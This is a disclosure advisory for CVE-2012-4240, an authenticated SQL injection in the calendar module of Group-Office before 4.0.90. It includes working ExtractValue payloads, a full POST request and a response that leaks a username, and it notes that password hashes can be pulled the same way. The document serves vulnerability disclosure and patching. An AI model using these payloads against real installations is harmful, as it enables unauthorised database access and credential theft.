/-------------------------------------\
| Group-Office Calendar SQL Injection |
\-------------------------------------/


Summary
=======

Versions of Group-Office (a web app for online collaboration) prior to
4.0.90 are subject to a SQL injection vulnerability located in the calendar
module. A PHP file, used to serve data in the JSON format, does not
sufficiently sanitise a user-supplied parameter injected into the ORDER BY
part of an SQL query. An attacker can leverage this flaw to extract
information from the database via SQL errors.

CVE number: CVE-2012-4240
Impact: High
Vendor homepage: http://www.group-office.com/
Vendor notified: 19/07/2012
Credit: Chris Cooper and Joseph Sheridan
Homepage: http://www.reactionpenetrationtesting.co.uk/

This advisory is posted at:

http://www.reactionpenetrationtesting.co.uk/group-office-sqli.html


Affected Products
======== ========

Confirmed in Group-Office community 4.0.71, 4.0.73 and 4.0.88. Other
versions may also be affected.


Details
=======

A 'sort' parameter on the page /modules/calendar/json.php was found to be
subject to a SQL injection vulnerability. It was possible to inject
arbitrary SQL statements into an ORDER BY clause, retrieving information
from the database via an error message. The attacker must be authenticated
as a valid user in order for the attack to be successful.

Injecting the following SQL code into the 'sort' parameter will trigger the
vulnerability, retrieving the first user's username. Changing 'username' to
'password' retrieves their hashed password. For version 4.0.71:

ExtractValue(1,CONCAT(0x5c,(SELECT username FROM go_users LIMIT 1)))

Or for versions 4.0.73 and 4.0.88:

id`,ExtractValue(1,CONCAT(0x5c,(SELECT username FROM go_users LIMIT 1)))#


---
Example Request (version 4.0.71):
+--------------------------------

POST /groupoffice/modules/calendar/json.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 162
Cookie: groupoffice=tgocfuhoh7lrqo0mckfef4us04; GO_LANGUAGE=en_UK

sort=ExtractValue(1,CONCAT(0x5c,(SELECT%20username%20FROM%20go_users%20LIMIT
%201)))&dir=ASC&task=writable_views&limit=20&security_token=pfi5lckw3r9qm64n
adgb


---
Example Response (version 4.0.71):
+---------------------------------

HTTP/1.1 200 OK
Date: Fri, 20 Jul 2012 14:16:09 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0,
pre-check=0
Pragma: no-cache
Content-Length: 397
Content-Type: text/html; charset=UTF-8

{"feedback":"<b>Database error:<\/b> Invalid SQL: SELECT SQL_CALC_FOUND_ROWS
v.* FROM cal_views v INNER JOIN go_acl a ON (v.acl_id = a.acl_id AND
a.level>10 AND (a.user_id=1 OR a.group_id IN (1,2,3)))  GROUP BY v.id ORDER
BY ExtractValue(1,CONCAT(0x5c,(SELECT username FROM go_users LIMIT 1))) ASC
LIMIT 0,20<br>\n<b>MySQL Error<\/b>: 1105 (XPATH syntax error:
'\\admin')<br>\n","success":false}


Impact
======

An authenticated attacker might be able to take control of the database
within the context of the MySQL user, and potentially use this as leverage
to further compromise the host machine.


Solution
========

Upgrade to Group-Office community 4.0.90.


Distribution
============

In addition to posting on the website, a text version of this notice has
been posted to the following e-mail and Usenet news recipients.

* bugtraq () securityfocus com
* full-disclosure () lists grok org uk

Future updates of this advisory, if any, will be placed on the ReactionIS
corporate website, but may or may not be actively announced on mailing lists
or newsgroups. Users concerned about this problem are encouraged to check
the URL below for any updates:


http://www.reactionpenetrationtesting.co.uk/group-office-sqli.html

============================================================================
==

Reaction Information Security 
Lombard House Business Centre,
Suite 117,
12-17 Upper Bridge Street,
Canterbury, Kent, CT1 2NF

Phone: +44 (0)1227 785050
Email: research () reactionis {dot} co {dot} uk
Web: http://www.reactionpenetrationtesting.co.uk